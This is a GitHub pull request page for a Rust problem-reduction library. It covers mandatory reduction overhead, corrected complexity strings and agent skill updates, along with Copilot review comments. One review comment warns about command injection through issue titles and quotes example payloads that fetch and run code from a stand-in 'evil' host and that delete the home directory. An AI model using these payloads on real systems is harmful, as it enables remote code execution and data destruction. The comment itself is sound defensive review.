Skip to content

Fix complexity inconsistencies, enforce overhead, add missing variants#112

Merged
GiggleLiu merged 11 commits intomainfrom
fix/complexity-overhead-variants
Mar 1, 2026
Merged

Fix complexity inconsistencies, enforce overhead, add missing variants#112
GiggleLiu merged 11 commits intomainfrom
fix/complexity-overhead-variants

Conversation

@GiggleLiu
Copy link
Contributor

Summary

  • Make overhead mandatory in #[reduction] proc macro — missing overhead now produces a compile error instead of silently defaulting to empty
  • Fix 11 complexity strings in declare_variants! to match paper ground truth (best known algorithms instead of naive brute-force bounds)
  • Add declare_variants! to 3 models that were missing it: BicliqueCover, BMF, PaintShop

Test plan

  • make test — all 1526 tests pass
  • make clippy — no warnings
  • make rust-export — regenerated successfully

🤖 Generated with Claude Code

GiggleLiu and others added 3 commits March 1, 2026 01:42
- Make overhead mandatory in #[reduction] proc macro (compile error instead of silent default)
- Fix 11 complexity strings to match paper ground truth (best known algorithms)
- Add declare_variants! to BicliqueCover, BMF, and PaintShop

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
KingsSubgraph, TriangularSubgraph, and UnitDiskGraph variants use
subexponential algorithms exploiting planar/geometric structure.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Cite Alber & Fiala (2004) for O*(c^sqrt(n)) algorithms on unit disk,
King's subgraph, and triangular subgraph variants.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR tightens reduction metadata correctness by making #[reduction] overhead explicit, aligning declared variant complexities with the paper’s stated best-known bounds, and ensuring missing models participate in the variant registry used by the reduction graph/documentation pipeline.

Changes:

  • Enforce overhead = { ... } as a required argument to the #[reduction] proc macro (missing overhead becomes a compile error).
  • Update multiple declare_variants! complexity strings to reflect best-known algorithms (and adjust the unit test accordingly).
  • Add missing declare_variants! registrations for BicliqueCover, BMF, and PaintShop, and extend paper references/text accordingly.

Reviewed changes

Copilot reviewed 18 out of 18 changed files in this pull request and generated 2 comments.

Show a summary per file
File Description
src/unit_tests/rules/graph.rs Updates expected complexity string for MIS default variant.
src/models/specialized/paintshop.rs Adds declare_variants! entry for PaintShop.
src/models/specialized/factoring.rs Updates Factoring complexity string.
src/models/specialized/bmf.rs Adds declare_variants! entry for BMF.
src/models/specialized/biclique_cover.rs Adds declare_variants! entry for BicliqueCover.
src/models/satisfiability/ksat.rs Updates K3 SAT complexity string.
src/models/optimization/ilp.rs Updates ILP complexity string.
src/models/optimization/closest_vector_problem.rs Updates CVP complexity strings.
src/models/graph/traveling_salesman.rs Updates TSP complexity string.
src/models/graph/minimum_vertex_cover.rs Updates MVC complexity string.
src/models/graph/minimum_dominating_set.rs Updates MDS complexity string.
src/models/graph/maximum_independent_set.rs Updates MIS complexity strings across graph variants.
src/models/graph/maximum_clique.rs Updates Maximum Clique complexity string.
src/models/graph/maximal_is.rs Updates maximal IS enumeration complexity string.
src/models/graph/max_cut.rs Updates MaxCut complexity string.
problemreductions-macros/src/lib.rs Makes overhead mandatory for #[reduction] and emits an error if missing.
docs/paper/references.bib Adds a new bibliographic reference (alber2004).
docs/paper/reductions.typ Extends MIS discussion to cite geometric separation results and new reference.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +358 to +366
@article{alber2004,
author = {Jochen Alber and Ji\v{r}\'{\i} Fiala},
title = {Geometric separation and exact solutions for the parameterized independent set problem on disk graphs},
journal = {Journal of Algorithms},
volume = {52},
number = {2},
pages = {134--151},
year = {2004},
doi = {10.1016/j.jalgor.2003.10.001}
Copy link

Copilot AI Feb 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The new BibTeX entry uses LaTeX accent escapes in the author field (e.g., Ji\v{r}\'{\i}), while the rest of references.bib appears to use plain text. Typst/Bib parsers often don't fully expand LaTeX macros, which can lead to incorrect rendering in the compiled paper. Consider replacing the escapes with the actual Unicode characters (e.g., "Jiří Fiala") to ensure consistent bibliography output.

Copilot uses AI. Check for mistakes.
None => {
return Err(syn::Error::new(
proc_macro2::Span::call_site(),
"#[reduction] requires overhead = { ... }. Specify overhead expressions for all target problem size fields.",
Copy link

Copilot AI Feb 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The compile error text for missing overhead is a bit ambiguous: it says "requires overhead = { ... }" but the actual syntax is #[reduction(overhead = { ... })]. It may be clearer to include the full attribute form (and/or a short example), so users immediately know what to paste when they hit this error.

Suggested change
"#[reduction] requires overhead = { ... }. Specify overhead expressions for all target problem size fields.",
"Missing overhead specification. Use #[reduction(overhead = { ... })] and specify overhead expressions for all target problem size fields.",

Copilot uses AI. Check for mistakes.
@codecov
Copy link

codecov bot commented Feb 28, 2026

Codecov Report

❌ Patch coverage is 96.01874% with 17 lines in your changes missing coverage. Please review.
✅ Project coverage is 96.88%. Comparing base (9ad1678) to head (e4d81a7).
⚠️ Report is 1 commits behind head on main.

Files with missing lines Patch % Lines
src/unit_tests/rules/registry.rs 87.05% 11 Missing ⚠️
src/expr.rs 97.94% 3 Missing ⚠️
src/models/specialized/circuit.rs 0.00% 3 Missing ⚠️
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #112      +/-   ##
==========================================
- Coverage   96.89%   96.88%   -0.01%     
==========================================
  Files         200      200              
  Lines       27099    27544     +445     
==========================================
+ Hits        26258    26687     +429     
- Misses        841      857      +16     

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

GiggleLiu and others added 6 commits March 1, 2026 02:32
- review-implementation: "Task tool" → "Agent tool" (tool doesn't exist)
- review-implementation: Remove narrow HEAD~1 detection, use main..HEAD only
- review-implementation: Add run_in_background guidance for parallel dispatch
- structural-reviewer-prompt: Fix grep-style \| to ripgrep | alternation
- fix-pr: Add $REPO resolution, replace {owner}/{repo} placeholders
- fix-pr: Clarify --jq warning scope (gh api only, not gh pr view)
- add-rule: Add export_schemas to Step 6, fix section title
- add-model: Add Step 2.5 for declare_variants! macro registration
- add-model: Add declare_variants! to Common Mistakes table

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- add-model: Document variant_params! macro usage for variant() implementation
- issue-to-pr: Add pre-flight checks (clean tree, existing branch) before
  branch creation; add retry/dirty-tree to Common Mistakes
- write-model-in-paper: Fix wrong make rust-export → use make paper (which
  auto-runs export_graph + export_schemas)
- write-rule-in-paper: Fix wrong make rust-export → correct export commands

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Orchestrates end-to-end pipeline: issue-to-pr -> make run-plan ->
copilot-review -> fix-pr loop (3 retries) -> merge. Processes all
open [Model] issues first, then [Rule] issues.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Replace fixed sleep with CI poll loop (30s intervals, 15min max)
- Use gh pr merge --auto to avoid CI/merge race condition
- Detect existing PRs from previous runs and resume instead of re-plan
- Clean stale branches before starting a new issue
- Add batch-mode note: auto-approve sub-skill confirmation prompts

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 31 out of 31 changed files in this pull request and generated 3 comments.

Comments suppressed due to low confidence (1)

.claude/skills/issue-to-pr/SKILL.md:107

  • The shell commands building git commit and gh pr create arguments interpolate the GitHub issue title (<title>) directly into double-quoted strings, which allows command injection if an attacker opens an issue with a crafted title containing shell metacharacters (e.g., $(curl https://evil | sh) or "; rm -rf ~; echo "). When /issue-to-pr is run on such an issue and this template is followed literally, the generated command line will execute the injected payload on the developer/automation host. To fix this, ensure the issue title is safely escaped or passed via a variable (or --file input) rather than inlined into the shell command, and strip or neutralize shell metacharacters before constructing any command that includes user-controlled text.
# Create branch (from main)
git checkout main
git checkout -b issue-<number>-<slug>

# Stage the plan file
git add docs/plans/<plan-file>.md

# Commit
git commit -m "Add plan for #<number>: <title>"

# Push
git push -u origin issue-<number>-<slug>

# Create PR
gh pr create --title "Fix #<number>: <title>" --body "
## Summary
<Brief description>

Closes #<number>"

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.


crate::declare_variants! {
Factoring => "exp(sqrt(num_bits))",
Factoring => "exp(num_bits^(1/3) * log(num_bits)^(2/3))",
Copy link

Copilot AI Feb 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The new Factoring complexity string references num_bits, but this model doesn’t define a num_bits() getter (it has m()/n() and num_bits_first()/num_bits_second()). This makes the complexity metadata inconsistent with the model’s size parameters and can be confusing/misleading in the exported docs. Consider expressing the bit-length in terms of existing fields (e.g., m + n, or num_bits_first + num_bits_second) or adding a num_bits() helper that matches the complexity expression.

Suggested change
Factoring => "exp(num_bits^(1/3) * log(num_bits)^(2/3))",
Factoring => "exp((m + n)^(1/3) * log(m + n)^(2/3))",

Copilot uses AI. Check for mistakes.
| 3 | `#[derive(...Serialize, Deserialize)]` on struct | `Grep("Serialize.*Deserialize", file)` |
| 4 | `Problem` trait impl | `Grep("impl.*Problem for.*{P}", file)` |
| 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem\|SatisfactionProblem).*for.*{P}", file)` |
| 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem|SatisfactionProblem).*for.*{P}", file)` |
Copy link

Copilot AI Feb 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The regex alternation here uses an unescaped |, but the same checklist uses escaped alternation (\|) in other Grep patterns below. If the Grep tool is using basic regex, this pattern will match the literal | instead of acting as alternation, causing the checklist to miss valid impls. Use a consistent regex style (e.g., OptimizationProblem\|SatisfactionProblem for basic regex, or switch all alternations to unescaped | if Grep is extended regex).

Suggested change
| 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem|SatisfactionProblem).*for.*{P}", file)` |
| 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem\|SatisfactionProblem).*for.*{P}", file)` |

Copilot uses AI. Check for mistakes.
Comment on lines +84 to 92
**Pre-flight checks** (before creating the branch):
1. Verify clean working tree: `git status --porcelain` must be empty. If not, STOP and ask user to stash or commit.
2. Check if branch already exists: `git rev-parse --verify issue-<number>-<slug> 2>/dev/null`. If it exists, switch to it with `git checkout` (no `-b`) instead of creating a new one.

```bash
# Create branch
# Create branch (from main)
git checkout main
git checkout -b issue-<number>-<slug>

Copy link

Copilot AI Feb 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The pre-flight checks say to git checkout issue-<number>-<slug> without -b if the branch already exists, but the example snippet always runs git checkout -b issue-<number>-<slug>, which will fail on retries. Consider updating the snippet to reflect the conditional logic (or show both commands in an if/else).

Copilot uses AI. Check for mistakes.
- Add overhead_eval_fn to ReductionEntry (calls getter methods directly)
- Add complexity_eval_fn to VariantEntry (same pattern)
- Convert declare_variants! from macro_rules to proc macro with compile-time getter validation
- Make overhead attribute required in #[reduction] macro
- Add Expr::parse() runtime parser for cross-check tests
- Fix complexity strings: use concrete values only (no epsilon/omega)
- Fix getter mismatches: SpinGlass num_spins, CircuitSAT num_variables
- Add comprehensive parser tests and cross-check tests
- Update CLAUDE.md and skills to document new patterns

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 42 out of 42 changed files in this pull request and generated 4 comments.


💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

"category": "specialized",
"doc_path": "models/specialized/struct.Factoring.html",
"complexity": "exp(sqrt(num_bits))"
"complexity": "exp(num_bits^(1/3) * log(num_bits)^(2/3))"
Copy link

Copilot AI Mar 1, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The exported Factoring complexity references num_bits, but the Factoring model exposes m/n (and num_bits_first/num_bits_second) — there is no num_bits getter/field. This makes the JSON inconsistent with src/models/specialized/factoring.rs and breaks runtime evaluation if these strings are ever parsed. Please regenerate/fix this entry to use the same variables as the Rust model (e.g., exp((m + n)^(1/3) * log(m + n)^(2/3))).

Suggested change
"complexity": "exp(num_bits^(1/3) * log(num_bits)^(2/3))"
"complexity": "exp((m + n)^(1/3) * log(m + n)^(2/3))"

Copilot uses AI. Check for mistakes.
Comment on lines +370 to +372
// Leak the string to get &'static str for Expr::Var
let leaked: &'static str = Box::leak(name.into_boxed_str());
Ok(Expr::Var(leaked))
Copy link

Copilot AI Mar 1, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Expr::parse leaks memory for every variable identifier via Box::leak(...). Since Expr::parse is a public API and may be called on arbitrary runtime input, this creates unbounded growth across parses (even for repeated variable names). Consider avoiding leaks by interning identifiers (e.g., global cache) or changing the runtime parser/AST to store owned names (e.g., String/Arc<str>) instead of requiring &'static str.

Copilot uses AI. Check for mistakes.
"category": "graph",
"doc_path": "models/graph/struct.MaxCut.html",
"complexity": "2^num_vertices"
"complexity": "2^(omega * num_vertices / 3)"
Copy link

Copilot AI Mar 1, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The exported MaxCut complexity uses a symbolic constant (omega) in the expression. This is inconsistent with the Rust declare_variants! entry (which uses a concrete numeric exponent) and also won’t evaluate correctly if parsed (missing omega defaults to 0). Please regenerate/fix the export to inline the numeric bound (e.g., 2^(2.372 * num_vertices / 3)).

Suggested change
"complexity": "2^(omega * num_vertices / 3)"
"complexity": "2^(2.372 * num_vertices / 3)"

Copilot uses AI. Check for mistakes.
Comment on lines +90 to +91
git checkout main
git rev-parse --verify issue-<number>-<slug> 2>/dev/null && git checkout issue-<number>-<slug> || git checkout -b issue-<number>-<slug>
Copy link

Copilot AI Mar 1, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The branch name issue-<number>-<slug> is interpolated directly into shell commands without quoting or sanitization. If <slug> ever contains shell metacharacters derived from issue titles or user-provided text (e.g., ;, &&, $(), backticks), running this skill could execute arbitrary commands on the developer machine when git checkout/git push are invoked. To harden this flow, construct the branch name from a sanitized slug restricted to safe characters (e.g., [A-Za-z0-9_-]) or pass it via a quoted variable instead of embedding it inline in the command text.

Copilot uses AI. Check for mistakes.
- Regenerate reduction_graph.json to fix stale complexity strings
  (Factoring num_bits → m+n, MaxCut omega → 2.372)
- Clarify Box::leak memory note in Expr::parse doc comment
- Fix regex alternation consistency in structural-reviewer-prompt

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 42 out of 42 changed files in this pull request and generated 2 comments.


💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +115 to +120
/// Panics if the expression string has invalid syntax.
pub fn parse(input: &str) -> Expr {
parse_to_expr(input)
.unwrap_or_else(|e| panic!("failed to parse expression \"{input}\": {e}"))
}

Copy link

Copilot AI Mar 1, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Expr::parse() is a public API that intentionally leaks every parsed variable name via Box::leak. Even with the doc warning, this creates an unbounded memory growth footgun for any downstream caller (or for accidental use outside tests). Consider gating runtime parsing behind #[cfg(test)]/a feature flag, or deduplicating leaked identifiers with a small global interner so repeated parses of the same variable don’t leak repeatedly.

Suggested change
/// Panics if the expression string has invalid syntax.
pub fn parse(input: &str) -> Expr {
parse_to_expr(input)
.unwrap_or_else(|e| panic!("failed to parse expression \"{input}\": {e}"))
}
/// Panics if the expression string has invalid syntax.
#[cfg(any(test, feature = "runtime_expr_parse"))]
pub fn parse(input: &str) -> Expr {
parse_to_expr(input)
.unwrap_or_else(|e| panic!("failed to parse expression \"{input}\": {e}"))
}
/// Fallback `Expr::parse` for builds where runtime parsing is disabled.
///
/// This version is compiled for non-test builds without the
/// `runtime_expr_parse` feature. It always panics to avoid exposing a
/// leaking runtime parser by default.
#[cfg(not(any(test, feature = "runtime_expr_parse")))]
pub fn parse(_input: &str) -> Expr {
panic!(
"Expr::parse is disabled in this build. Enable the `runtime_expr_parse` \
Cargo feature to use runtime expression parsing (which leaks variable \
names via Box::leak), or construct `Expr` values programmatically."
);
}

Copilot uses AI. Check for mistakes.
Comment on lines +286 to +296
// Generate overhead and eval fn
let (overhead, overhead_eval_fn) = match &attrs.overhead {
Some(OverheadSpec::Legacy(tokens)) => {
let eval_fn = quote! {
|_: &dyn std::any::Any| -> crate::types::ProblemSize {
panic!("overhead_eval_fn not available for legacy overhead syntax; \
migrate to parsed syntax: field = \"expression\"")
}
};
(tokens.clone(), eval_fn)
}
Copy link

Copilot AI Mar 1, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For legacy overhead syntax, the generated overhead_eval_fn unconditionally panics at runtime. Since ReductionEntry::overhead_eval_fn is now a required field, any reductions still using the legacy overhead form (including macro-generated ones) will carry a latent runtime crash if overhead_eval_fn is ever used outside these tests. Consider either migrating remaining legacy call sites to the parsed field = "expr" form, or changing the API/codegen to make overhead_eval_fn optional / non-panicking for legacy entries (and document the behavior either way).

Copilot uses AI. Check for mistakes.
@GiggleLiu GiggleLiu merged commit 88c1635 into main Mar 1, 2026
9 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants